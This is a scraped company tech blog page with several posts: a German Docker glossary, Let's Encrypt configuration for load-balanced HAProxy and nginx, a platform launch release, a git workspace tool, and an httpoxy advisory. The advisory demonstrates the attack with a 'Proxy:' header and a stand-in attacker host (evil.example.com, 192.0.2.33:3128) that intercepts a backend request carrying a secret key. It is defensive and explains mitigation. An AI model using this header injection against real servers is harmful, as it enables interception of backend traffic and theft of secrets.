Das Dockerfile ist eine Textdatei, meistens zusammen mit dem Programmcode im Versionskontrollsystem, welche alle benötigten Befehle enthält um eine Umgebung zu erstellen in welcher der Programmcode laufen kann. Je nach Applikation und Programmiersprache installiert es also einen Applikationsserver, alle benötigten Pakete, Module und Bibliotheken. Meistens fängt man nicht mit einer “leeren” Umgebung an, sondern nutzt eine von einer verlässlichen Firma gepflegte Basis (dazu gleich mehr). Auf diese Basis müssen dann nur noch die applikationsspezifischen Pakete, Module und Bibliotheken installiert. Alle dafür benötigten Schritte sind im Dockerfile aufgelistet und somit auch gleich für das ganze Team dokumentiert. Ausserdem lassen sie sich dadurch auch sehr einfach automatisieren.
Ebenfalls im Dockerfile steht, welche Dateien der Applikation in den Container übernommen werden sollen, wie der genaue Befehl für die Applikation lautet, auf welchem Port die Applikation dann erreichbar ist und in welchen Verzeichnissen innerhalb des Containers die Applikation ihre Benutzerdaten ablegt (die sogenannten Volumes).
Docker Inc veröffentlicht auch eine Dokumentation was man beim Erstellen des Dockerfiles alles beachten soll.
Ein grundlegendes Muster der Zwölf-Faktoren-Methode und der Container-Welt ist, dass die Konfiguration, also alles was sich zwischen zwei verschiedenen Deploys (Staging, Produktion, Entwicklungsumgebungen, usw.) ändert, in Umgebungsvariablen (Environment Variables) der Applikation übergeben werden sollen. Dazu gehören Ort und Zugangsdaten für Backend-Services (Datenbanken, Caches, S3-Storage, etc.), externe APIs, etc. Wenn die Applikation dies selbst nicht unterstützt, muss das Dockerfile ein Start-Skript erstellen welches dann zur Laufzeit die Daten in den Umgebungsvariablen der Applikation übergibt und sie startet.
Das Dockerfile ist also die Anleitung für die Build-Phase des “Build, Release, Run”-Patterns.

Docker Image

Ein Image ist das Ergebnis wenn ein Dockerfile ausgeführt wurde. Es enthält also die Applikation in einer bestimmten Version und alle für das Ausführen benötigten Komponenten, also ein Release. Das Docker Image kann von der Docker Engine ausgeführt werden und stellt dann die Applikation unter einem bestimmten Port (z.B. TCP Port 80 für HTTP) zur Verfügung. Nur die im Dockerfile definierten Volumes mit Benutzerdaten werden persistent gespeichert und stehen nach einem Neustart oder Update weiterhin zur Verfügung, der Rest des Container-Inhaltes wird verworfen gemäss dem Faktor des Einweggebrauches der Zwölf-Faktoren-Methode (12 Factor App).

Docker Registry

Die Registry speichert die fertigen Images und stellt sie zum Download auf den/die Server zur Verfügung, auf denen sie ausgeführt werden sollen. Docker Inc betreibt eine öffentliche Registry unter https://hub.docker.com/ (auch “Docker Hub” genannt) welche auch für die Verteilung der öffentlichen Basis-Images verwendet wird. Die Verwendung des Docker Hubs ist kostenlos, dafür sind aber auch alle Daten öffentlich. Für Open Source also kein Problem. Für Applikationen die nicht öffentlich sein sollen braucht es also eine private Registry zur Software-Verteilung. Zum Glück ist eine private Registry kostenlos unter https://hub.docker.com/_/registry/ erhältlich – natürlich läuft sie ebenfalls in einem Docker-Container.
Ganz neu und aktuell noch im Beta-Stadium befindet sich der Docker-Store https://store.docker.com/, welcher wohl irgendwann den Docker Hub ablösen wird.

Docker Machine

Docker Machine ist ein Programm welches entweder auf dem lokalen Computer (mittels Virtualbox) oder in einer Cloud (Liste der unterstützten Cloud-Provider) einen virtuellen Server erstellt und startet um darauf Container auszuführen. Sehr praktisch wenn man Docker nicht nativ auf dem lokalen Computer ausführen kann (z.B. unter Windows) oder der/die Container mehr Ressourcen benötigt als lokal verfügbar sind. Die erstellten virtuellen Server sind aber nur für temporäre Experimente gedacht: sie werden weder überwacht, neu gestartet, mit Backup gesichert oder aktualisiert. Auch ist der virtuelle Server nur auf dem lokalen Computer für den Benutzer sinnvoll nutzbar der ihn erstellt hat: das Programm sichert die Kommunikation mit dem mini-Server mit Schlüsseln ab die nur auf dem lokalen Computer gespeichert werden und startet beim nächsten Verbinden alle Container die bisher liefen ab.

Docker Compose

Im einfachsten Fall besteht eine Applikation nur aus einem Prozess/Container, oft benötigt eine Applikation gemäss der Microservice-Architektur und dem Konzept der Nebenläufigkeit in der Zwölf-Faktoren-Methode einen weiteren Service als Backend, zum Beispiel eine Datenbank oder einen Cache, der wiederum in einem separaten Container läuft. Für viele Standardapplikationen gibt es bereits fertige Docker Images z.B. vom Docker Hub welche durch den Hersteller oder die Community gepflegt werden.
Docker Compose besteht wiederum aus dem Programm “docker-compose” und der Konfigurationsdatei docker-compose.yml (normalerweise in der Versionsverwaltung der Applikation, neben dem Dockerfile, damit auch da alles am selben Ort ist) in welcher die Services, Volumes und Netzwerke definiert werden welche zusammen gestartet, miteinander kommunizieren und einen oder mehrere Services verfügbar machen sollen.
Die Services in der Konfiguration referenzieren im einfachsten Fall entweder die aktuelle Applikation gemäss Dockerfile oder aber “fertige Images” (standardmässig vom Docker Hub) und welche Services mit welchem anderen Service (über die in den Dockerfiles definierten Ports) kommunizieren sollen, zum Beispiel die aktuelle Applikation mit dem Datenbank-Container. Ebenfalls müssen die Namen und Ports der benutzten Services als Konfiguration in Umgebungsvariablen der Applikationscontainer definiert werden, zum Beispiel DATENBANK=”mysql:3306″ wenn der Applikationscontainer den Ort der Datenbank in der Variable “$DATENBANK” erwartet und der MySQL-Service im docker-compose.yml “mysql” genannt wird und unter dem Port 3306 (MySQL-Standardport) verfügbar ist. Der Befehl “docker-compose up” startet dann alle Services in der gemäss den Abhängigkeiten definierten Reihenfolge und ermöglicht den Container miteinander zu kommunizieren.

Docker Swarm

Ein Docker Swarm (“Schwarm”, also Gruppe) besteht aus mehreren zusammengeschalteten Docker Engines (bzw. Docker-Diensten dockerd, auch Nodes genannt), welche gemeinsam unter “einer zentralen Docker API” für den Benutzer bzw. das Programm “docker” erreichbar ist. Dabei ist ein Node der “master” der die Anfragen des Benutzers entgegennimmt, die Container auf den anderen Swarm Nodes startet und sich um die Kommunikation von/zu den Containern auf den verschiedenen Nodes kümmert.
Swarm ist eine relativ neue Komponente im Docker-Ökosystem und wurde erst Mitte 2016 veröffentlicht. Entsprechend ist der Funktionsumfang noch beschränkt: ein Swarm ist zum Beispiel noch nicht mandantenfähig, alle Services – egal von welchem Benutzer – müssen also eindeutige Namen haben und sind auch untereinander nicht abgeschottet. Entsprechend wird empfohlen für Testing und Produktion separate Swarms zu betreiben.

Vergleich mit Kubernetes

Kubernetes ist eine Alternative zu Docker Compose und Docker Swarm und unterstützt durch die längere Erfahrung z.B. Mandantenfähigkeit und wird gerade für grössere Umgebungen lieber verwendet, zum Beispiel für die Schweizer Container Plattform APPUiO. Um die Orchestrierung mehrerer Container mittels Docker Compose zu übernehmen gibt es das Programm Kompose, dazu werden wir später noch einen ausführlicheren Blogpost schreiben.

Weitere Informationen

Möchtest du weitere Informationen zu Docker erhalten oder eine Offerte anfordern? Bitte nimm Kontakt mit mir auf:

 

Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Let’s Encrypt for load-balanced services

29. Sep 2016

The Let’s Encrypt certificate authority was launched for production use in April 2016 and aims to make encrypted connections on the Internet ubiquitous. Historically certificate authorities have demanded payment for issuing X.509 certificates and the issuing/renewal process was largely manual.
Let’s Encrypt issues domain-validated certificates free of charge. Other validation types requiring human interaction, such as Organization Validation or Extended Validation (most browsers show part of the address bar in green for these), are not available. The validation process is fully automated and, once configured, does not need manual intervention for certificate renewal. Let’s Encrypt issues certificates valid for 90 days and most client programs renew certificates a couple of weeks before they expire (usually after 60 days).
In this post we describe how to configure load-balanced services such that they can make use of the Let’s Encrypt certificate authority. The assumption is that the reader is familiar with how Let’s Encrypt works. acmetool is used as the Let’s Encrypt client.

Implementation overview

We’re going to implement Let’s Encrypt certificates for a system with three machines acting as a load-balancing frontend for a service backend. The service’s entry point is the domain name svc.example.com and the servers use the IPv6 address range 2001:db8::/32. IPv4 is left as an exercise for the reader. The frontend machines run HAProxy for load-balancing and keepalived to host virtual IP addresses. nginx is used to serve challenge responses for domain validations and to redirect plain-text requests to HTTPS (the service is only available over TLS).
The network looks as follows:

IPv6Description
2001:db8::1Virtual IP
2001:db8::2Virtual IP
2001:db8::3Virtual IP
2001:db8::f001Frontend LB0
2001:db8::f002Frontend LB1
2001:db8::f003Frontend LB2
2001:db8::b001Backend 1
2001:db8::b020Backend 20

There are as many virtual IP addresses as there are load balancers. This way everyday traffic is still spread over across the load balancers even when there is no outage. The DNS record for the service looks as follows:

svc.example.com.  3600  IN  AAAA  2001:db8::1
svc.example.com.  3600  IN  AAAA  2001:db8::2
svc.example.com.  3600  IN  AAAA  2001:db8::3

The main challenge in such a setup is that the service can’t possibly know to which load balancer the Let’s Encrypt validation process connects in order to validate the domain (svc.example.com). Not only is there round-robin DNS, but the other load balancers may suffer an outage or be under maintenance. Hugo Landau’s deployment guide for IRC networks was a significant inspiration during the development of this configuration and proposes a centralized service to which the individual machines submit their challenge responses and where they redirect incoming requests. In a setup where all machines are controlled by one party that can easily be avoided while also avoiding any cross-machine state. In our configuration the load balancers are stateless in regards to the Let’s Encrypt validation. Every load balancer has its own key/certificate combination and is responsible for its renewal.

Example certificate renewal

  1. LB1 determines that it needs to request a new certificate and sends a request to the Let’s Encrypt certificate authority.
  2. As part of the ACME conversation the CA responds with a randomly generated token and a challenge response the server must make available at the URL . acmetool writes the response to /var/run/acme/acme-challenge/TOKEN and conducts a self-test.
  3. Let CA know that the challenge is available.
  4. CA resolves the DNS record svc.example.com and finds the IP addresses 2001:db8::1, 2001:db8::2 and 2001:db8::3 in random order. It connects to the first address. The address, say 2001:db8::2, is currently hosted on LB0. The request GET /.well-known/acme-challenge/TOKEN is sent.
  5. LB0 receives the request and finds that it must act as a reverse proxy with 2001:db8::f001, 2001:db8::f002 and 2001:db8::f003 being the upstream servers. In this example it first connects to itself, to LB0, and issues a request for /.well-known/acme-challenge/TOKEN.
  6. The token is not found in /var/run/acme/acme-challenge/ on LB0 and an HTTP/1.1 404 error is returned. The next upstream server must be tried.
  7. LB1 is now sent the same request and finds the response in /var/run/acme/acme-challenge/TOKEN.
  8. The challenge response is returned from LB1 to LB0 with a status code of HTTP/1.1 200, indicating success.
  9. LB0 forwards the response to the Let’s Encrypt CA. The CA verifies the response and, if successful, proceeds to issue a certificate.
  10. The certificate is made available for download. acmetool retrieves the certificate, stores it permanently in its state directory and invokes the relevant hooks. Services are reloaded to make use of the newly issued certificate.

Keepalived

In case of an outage or maintenance the remaining load balancer or balancers take over the IP addresses of the balancer not in service, ensuring users are not affected. To this effect the priorities per IP address shifted by one per node. The state is set to BACKUP for all IP addresses as there’s no concept of a real primary machine–they’re all equal. Additionally setting the state to BACKUP instead of MASTER prevents an IP address conflict when a machine comes online (another machine with a lower priority is still serving the IP address until synchronization takes place).
Keepalived configuration on LB0:

vrrp_instance master1 {
  interface eth0
  state BACKUP
  # LB0: 101, LB1: 102, LB2: 103
  priority 101
  authentication { … }
  virtual_ipaddress {
    2001:db8::1/32 dev eth0
  }
}
vrrp_instance master2 {
  interface eth0
  state BACKUP
  # LB0: 102, LB1: 103, LB2: 101
  priority 102
  authentication { … }
  virtual_ipaddress {
    2001:db8::2/32 dev eth0
  }
}
vrrp_instance master3 {
  interface eth0
  state BACKUP
  # LB0: 103, LB1: 101, LB2: 102
  priority 103
  authentication { … }
  virtual_ipaddress {
    2001:db8::3/32 dev eth0
  }
}

HAProxy

HAProxy is configured to only provide HTTP over TLS (HTTPS) because plain-text HTTP is served by Nginx. Communication with the backend uses TLS too, but depending on the network layout and/or service requirements plain-text HTTP may be acceptable. See the HAProxy documentation for available options.

frontend fe-service
  bind 2001:db8::1:443 ssl crt /etc/ssl/… ciphers …
  bind 2001:db8::2:443 ssl crt /etc/ssl/… ciphers …
  bind 2001:db8::3:443 ssl crt /etc/ssl/… ciphers …
  default_backend be-service
  mode http
  option httplog
  option forwardfor
backend be-service
  balance roundrobin
  cookie SERVERID insert indirect nocache
  option httpchk GET /status HTTP/1.0
  option httplog
  server be1 2001:db8::b001:443 check ssl verify ca-file /…/ca.pem cookie be1
  …
  server be20 2001:db8::b020:443 check ssl verify ca-file /…/ca.pem cookie be20

Nginx

acmetool is configured to use the webroot mode and to store challenge responses in /var/run/acme/acme-challenge/ (the default path). Define a separate virtual host in Nginx to serve challenge responses on a dedicated port. This port serves only information also available via port 80, hence no further protection is needed.

server {
  listen *:31080;
  server_name svc.example.com;
  location /.well-known/acme-challenge/ {
    alias /var/run/acme/acme-challenge/;
    default_type text/plain;
  }
  location / {
    deny all;
    root /usr/share/nginx/html/nonexist;
    autoindex off;
  }
}

Configure an upstream group with all load balancers (including the local machine):

upstream acme-backend {
  server [2001:db8::f001]:31080 fail_timeout=5s;
  server [2001:db8::f002]:31080 fail_timeout=5s;
  server [2001:db8::f003]:31080 fail_timeout=5s;
}

The main virtual host on port 80 redirects all requests to HTTP over TLS except those for ACME challenge responses (/.well-known/acme-challenge/…). ACME challenge responses are handled by a reverse proxy configuration attempting to fetch the file from all load balancers until produces an HTTP 200 response or all upstream servers (the balancers) have been tried. Connections to unreachable upstream servers time out after 5 seconds.

server {
  listen *:80;
  server_name svc.example.com;
  location /.well-known/acme-challenge/ {
    proxy_next_upstream error timeout invalid_header http_500 http_502
      http_503 http_504 http_403 http_404;
    proxy_pass            http://acme-backend;
    proxy_read_timeout    5s;
    proxy_connect_timeout 5s;
    proxy_redirect        off;
    proxy_set_header      Host $server_name;
  }
  location / {
    return 301 https://$host$request_uri;
  }
}

Test requests

Once everything is up and running it is possible to request files in /var/run/acme/acme-challenge/ on any load balancer from all balancers.
To test this a text file is written to /var/run/acme/acme-challenge/:

root@lb0 $ echo Hello World | tee /var/run/acme/acme-challenge/lb0
Hello World

lb0 is a unique, per-host name used for the test without special meaning. Retrieve the content via another machine, e.g. LB2. On LB2 the request is internally retried on all load balancers, but the proxy request will only return a successful status code and a response body on LB0.

user@local $ curl 'http://[2001:db8::f003]/.well-known/acme-challenge/lb0'
Hello World

A file not existing on any of the machines will produce an error:

user@local $ curl 'http://[2001:db8::f003]/.well-known/acme-challenge/foobar'
…
<head><title>404 Not Found</title></head>
…

Let’s Encrypt will now be able to verify the service domain, svc.example.com. When one of the load balancers needs a new certificate a request is issued to Let’s Encrypt and the validation takes place via any of the balancers and the internal reverse proxy configuration.

acmetool

Configuring acmetool is outside the scope of this document. However, a couple of hints:

  • Use the haproxy hook included with acmetool to install newly received certificates. Configure HAProxy to use /var/lib/acme/live/$domain/haproxy for key and certificate.
  • In scenarios where plain-text HTTP and HTTP over TLS are handled by the same service (e.g. Apache or Nginx) there is a chicken-or-egg problem where the service can’t be started due to the lack of a certificate. We solved this by first inserting a self-signed certificate in order to start the service. Once a signed certificate is received from Let’s Encrypt the service is reloaded.

We have engineered a Puppet module for acmetool and intend to release it at a later point in time.

VSHN AG

VSHN AG offers system engineering and configuration management services from their office in Zurich, Switzerland.

Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

APPUiO geht live

13. Sep 2016

Die Schweizer Container Plattform “APPUiO” geht mit drei Angeboten an den Start. Neben der Public PaaS wird die Plattform auch als private Cloud betrieben oder in die Infrastruktur der Kunden integriert. APPUiO basiert auf modernen Open Source Konzepten wie Docker und Kubernetes und wird in ISO-zertifizierten und FINMA-auditierten Rechenzentren in der Schweiz betrieben.

Nach einer dreimonatigen Betaphase steht APPUiO ab heute allen Entwicklern und Firmen zur Verfügung. Mit APPUiO lassen sich Applikationen einfach und schnell entwickeln oder Container Workload betreiben. Hinter APPUiO stehen mit Puzzle ITC und VSHN zwei DevOps Experten, welche ihre Kunden bei der erfolgreichen Umsetzung von Konzepten wie Continuous Integration und -Deployment unterstützen.

Auf in Richtung DevOps

Auf der Basis bewährter Open Source Konzepte wie Docker und Kubernetes lassen sich auf APPUiO Applikationen mit standardisierten Komponenten entwickeln und skalierbar betreiben. Mit der Plattform werden IT-Prozesse automatisiert und die Bereitstellung von IT-Services gestrafft. Applikationen können dabei sowohl in der Public Cloud, intern oder auch in einer hybriden Cloud betrieben werden. Die Anwendung der Docker-Konzepte eröffnet neue Aussichten für die Entwicklung und den Betrieb in Richtung DevOps.

Start mit Tech Labs

Interessierte können in kostenlosen Tech Labs erste Erfahrungen mit der Plattform sammeln. Dabei lernen sie Hands-on die wichtigsten Schritte, wie eine Applikation in die Cloud gebracht wird und wie Container auf einer PaaS deployed und betrieben werden können. Wer sich bis Ende November für die Plattform registriert, kommt zudem in den Genuss einer Promo-Aktion.

Über Puzzle ITC GmbH:

Puzzle ITC realisiert individuelle Software- und Systemtechnik-Projekte basierend auf offenen Technologien und Standards. Seit der Gründung vor 16 Jahren wächst das Unternehmen – auch Dank der zunehmenden Bedeutung von Open Source Software – kontinuierlich und beschäftigt heute über 90 Mitarbeitende. Puzzle ITC verfügt neben dem Hauptsitz in Bern über eine Niederlassung in Zürich. Mit “We Are Cube3“ besitzt Puzzle ein eigenes User Experience Studio als optimale Schnittstelle zwischen Entwickler, Designer und Benutzer.
Zu den Kunden von Puzzle ITC gehören Unternehmen aus dem öffentlichen Verkehr (SBB, BLS, Siemens, PostAuto), der Bundesverwaltung (Bundesamt für Sport, Führungsunterstützungsbasis VBS, Nationale Alarmzentrale, Institut für Geistiges Eigentum, Schweizerisches Bundesarchiv, Schweizerische Bundeskanzlei, swisstopo), der Telekommunikation, Versicherungen (Die Mobiliar, Swiss Re), Banken, Logistik (Swisslog), Unternehmen aus der Industrie sowie zahlreiche KMU. Puzzle ist seit Februar 2013 Red Hat Premier Partner.

Über VSHN AG:

VSHN AG – The DevOps Company – betreibt Betriebssysteme und Applikationen cloud-agnostisch nach dem DevOps-Ansatz. Als erfolgsverwöhntes StartUp glauben und erleben wir jeden Tag, dass unsere Kunden durch den hohen Automatisierungsgrad wesentliche Mehrwerte erhalten.
VSHN AG, mit Büros direkt am Zürcher Hauptbahnhof, beschäftigt heute 17 Mitarbeitende und ist in privater Hand gehalten.
Unsere Kunden – AmazeeLabs, Cinerent, FabWare, Gbanga, GrossStadtJagd, Sherpany, SIX-Group, Starticket und viele mehr – lassen ihre Anwendungen, Daten und damit gleichzeitig Vertrauen deshalb durch uns halten und betreiben, weil wir dank unseren hohen Sicherheits-Anforderungen und den ISO 27001-konformen und FINMA-auditierten Prozessen ihre Integrität garantieren können.

Medienkontakt:

André Kunz
Chief Communications Officer
Eigerplatz 4
3007 Bern
www.puzzle.ch
Mobile: +41 76 576 79 58
E-Mail: kunz@puzzle.ch

Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

OpenShift

10. Aug 2016

Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

httpoxy, or how an innocent HTTP header leads to security vulnerabilities

25. Jul 2016

On July 18, 2016 a class of vulnerabilities named httpoxy was released. We have analyzed the impact on our own infrastructure and for our customers and are in the process of mitigating the issue.

What is httpoxy?

httpoxy is a set of vulnerabilities affecting application code invoked via the Common Gateway Interface (CGI), or running in CGI-like environments. Any header sent as part of an HTTP request is transformed into an environment variable named HTTP_${header-in-uppercase}. For example, the User-Agent: header becomes HTTP_USER_AGENT. httpoxy describes a case where the Proxy: request header is stored in HTTP_PROXY.
The vulnerability originates from the fact that the standard variable defining an HTTP proxy on Unix systems is named http_proxy in lower-case. Proxies for other protocols are passed in variables named using the same scheme, for example ftp_proxy for the File Transfer Protocol or gopher_proxy for Gopher.

Unix, Windows, and case-sensitiveness

Most if not all of VSHN’s own infrastructure and customer machines run on Unix-like systems, predominantly Linux. These systems treat environment variables in a case-sensitive fashion, unlike the Microsoft Windows® family of operating systems.

$ http_proxy=lower HTTP_PROXY=upper \
> bash -c 'echo "$HTTP_PROXY" "$http_proxy"'
upper lower

Unfortunately not all programs and libraries observe the platform-specific behaviour. The Python library requests, for example, does not by reading a proxy from HTTP_PROXY even though the standard variable would be http_proxy:

$ http_proxy=http://proxy.example.net HTTP_PROXY=evil.example.com \
> python3 -c 'import logging, requests;
> logging.basicConfig(level=logging.NOTSET);
> requests.get("https://vshn.ch")'
INFO:urllib3.connectionpool:Starting new HTTP connection (1): evil.example.com
[…]

If a website uses the requests library for internal backend requests those requests can be redirected:

$ curl -v --header 'Proxy: evil.example.com'
[…]
> GET / HTTP/1.1
[…]
> Proxy:
[…]

Assuming the request URL is handled by code invoked via CGI, FastCGI or a similar technology it’ll receive an environment variable named HTTP_PROXY with the value and, assuming the code or libraries used are vulnerable, make requests via that proxy.
The httpoxy website lists more examples and CVEs. More are likely to be found in the coming hours, days and weeks.

Practical demonstration

Consider a plain old CGI script:

#!/usr/bin/python3
import os
import requests
print("Status: 200")
print("Content-type: text/plain")
print()
print(dict((k, v) for (k, v) in os.environ.items() if k.lower() == "http_proxy"))
print("---")
url = "http://backend.example.com/?secret_key=lZLx60gP"
try:
  print(requests.get(url).text)
except Exception as err:
  print("Error: {}".format(err))

Now consider that the attacker controls an HTTP proxy at 192.0.2.33 on port 3128 (the default port for the squid proxy server) and makes a request as follows:

curl -H 'Proxy: ' -v

The resulting request to the backend will be proxied through the attacker’s proxy. An excerpt from the proxy logs:

TCP_MISS/504 1617 GET  - DIRECT/backend.example.com text/html

Considering that this is an invalid example URL, an error message is received from the proxy server:

$ curl -H 'Proxy: ' -v
[…]
> GET /cgi-bin/contact.py HTTP/1.1
> User-Agent: curl/7
> Accept: */*
> Proxy:
>
< HTTP/1.1 200 OK
< Date: Mon, 25 Jul 2016 13:58:50 GMT
< Content-Type: text/plain
<
{'HTTP_PROXY': 'http://192.0.2.33:3128'}
---
[…]
<p>The following error was encountered while trying to retrieve the URL:
<a href="http://backend.example.com/?">http://backend.example.com/?</a></p>
[…]

In reality the proxy server could have stored the secret key, or it could have modified the response.

Mitigation

Until updated applications and libraries are available and deployed web servers should remove the Proxy header in requests. This is not expected to have any impact as the Proxyheader is undefined by the IETF and is not listed on IANA registry of message headers either, meaning the header is not used by any standard. Custom headers were supposed to be prefixed by X- since at least 1996 until the practice was deprecated by RFC 6648 in 2012.
It is also important to deploy such mitigation efforts as sometimes third-party applications ship with old and/or vulnerable libraries or unsafe configurations.
The httpoxy website publishes a number of configuration snippets showing how to remove the Proxy header from requests in various web servers and related programs. They also provide snippets for application and library developers to help them avoid the issue altogether.

Conclusion

We strongly recommend implementing stripping of the Proxy header in edge HTTP servers and proxies. Every public-facing HTTP server should have the mitigation implemented and it doesn’t hurt to implement it in backend servers, too.
Now that the vulnerability has been published it’s only a question of time until it’s exploited in an automated fashion.
Even if a given website and application may not use an affected library now–and that’s very difficult to ascertain–it may in the future. Not all projects keep third-party libraries up-to-date.

Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Alternative zu Git Submodulen: GWS (Git Workspace)

12. Jun 2016

Ein Git Repository zu pflegen ist keine Hexerei. Ein Git Repository mit Referenzen zu anderen Repositories kann jedoch sehr schnell komplex werden. Git bringt dafür einige Hilfsmittel mit, z.B. Git Submodule oder Git Subtree. Beide Techniken sind relativ komplex und bringen ihre Vor- und vorallem Nachteile mit.

Wir pflegen unsere Puppet Hiera Daten in YAML Dateien, welche in Git Repositories versionisiert werden. Hiera besteht in seiner einfachsten Anwendung aus einem einzelnen Verzeichnisbaum, welcher die Hierarchie abbildet. Unsere Anforderung ist, dass diese Hierarchiestufen in unterschiedlichen Git Repositories liegen.
Hierfür verwendeten wir zu Beginn Git Submodule, sind dabei aber auf einige Probleme gestossen. Das grösste Problem ist, dass ein Git Submodule immer auf einen bestimmen Git Commit referenziert. Möchte man immer auf den aktuellsten Commit referenzieren, muss man jedesmal die Referenz im Hauptrepository anpassen. Dies ist nicht praktikabel für unseren Anwendungsfall, da wir immer die aktuellsten Commits verwenden möchten.
Wechselt man in ein Unterverzeichnis, welches ein Git Submodule ist, hat man die Möglichkeit, mit den bekannten Git Befehlen zu arbeiten. So wäre es möglich, in diesem Unterverzeichnis mit einem git checkout master den Master Branch auf dem aktuellsten Commit auszuchecken. Dies passt jedoch die Referenz im Hauptrepository nicht an. Klont nun jemand das Hauptrepository vom Git Server, erhält er immer den Verweis auf den Commit im Submodul, welcher referenziert ist.
Auf der Suche nach einer Lösung, Referenzen zu mehreren Repositories in einem Hauptrepository pflegen zu können, sind wir auf ein Tool namens GWS – Git Workspace gestossen.
Was ist GWS (Git Workspace)?
gws is a KISS, bash, colorful helper to manage workspaces composed of git repositories.
Wie die Einführung des Autors von GWS bereits erklärt, handelt es sich bei GWS um ein einfaches Bash Skript, welches Referenzen zu Git Repositories in einer einfachen Textdatei speichert und einige Hilfsmittel anbietet, um mit diesen Referenzen zu arbeiten. Das Interessante daran ist, dass das Bash Skript ohne Abhängigkeiten (ausser Git und Bash) auskommt und auch direkt, zusammen mit der Textdatei, mit den Referenzen gespeichert werden kann.
Wie arbeite ich mit GWS?
Als erstes lädt man sich das Bash Skript vom GitHub Projekt herunter: StreakyCobra/gws. Anschliessend wird eine Textdatei mit dem Namen .projects.gws angelegt, welche die Referenzen zu den gewünschten Repositories beinhaltet:

# Puppet modules
stdlib    | https://github.com/puppetlabs/puppetlabs-stdlib.git
apache    | https://github.com/puppetlabs/puppetlabs-apache.git
apt       | https://github.com/puppetlabs/puppetlabs-apt.git

Hinweis: Zeilen, welche mit # beginnen gelten als Kommentare.
Als nächstes initialisiert man die Repositories mit gws update:
Nun wurden alle referenzierten Git Repositories in die angegebenen Unterverzeichnisse geklont. Diese Unterverzeichnisse sind unabhängige Git Repositories und man kann mit diesen arbeiten wie mit ganz normalen Git Repositories.
Tipp: Das Verzeichnis, welches die Datei .projects.gws (und ggf. das GWS Skript selber) beinhaltet, kann auch in einem Git Repository gepflegt werden. Man sollte jedoch darauf achten, eine saubere .gitignore Datei zu erstellen. Beispiel:

# Ignore everything, so all repositories in our case
*
# But not these files
!.projects.gws
!.gitignore
!gws
!README.md

Weitere Tricks mit GWS
Der oben beschriebene Einstieg in GWS ist erst der Anfang. Das Tool bietet noch einige weitere coole Features.
Schnelles Initialisieren
Hat man bereits viele verschiedene Git Repositories in einem Verzeichnis, hilft gws init, ein Inventar aller Git Repositories in den Unterverzeichnissen zu erstellen und diese in der Datei .projects.gws zu erfassen.

Status
Mittels gws status sieht man auf den ersten Blick, ob alle Repositories auf dem neuesten Stand sind, ob Änderungen nicht committed wurden, etc.

Update aller Repositories
Möchte man z.B. alle referenzierten Repositories auf den neuesten Stand bringen, kann man dies einfach mit gws ff machen. Dies macht in allen Repositories einen git pull. Oder mit gws fetch wird in allen Repositories ein git fetch durchgeführt.

Tobias Brunner

Tobias Brunner is working since over 20 years in IT and more than 15 years with Internet technology. New technology has to be tried and written about.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Amazee Group lanciert Managed Drupal Hosting – amazee.io

2. May 2016

Heute hat Amazee Labs, einer unserer langjährigen Referenzkunden, Managed Drupal-Hosting lanciert.
Wir sind besonders stolz darauf, dass Amazee Group auch für den Betrieb der neuen Plattform – amazee.io – VSHN als Engineering- und Betriebspartner ausgesucht hat. (more…)

Aarno Aukia

Aarno is Co-Founder of VSHN AG and provides technical enthusiasm as a Service as CTO.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us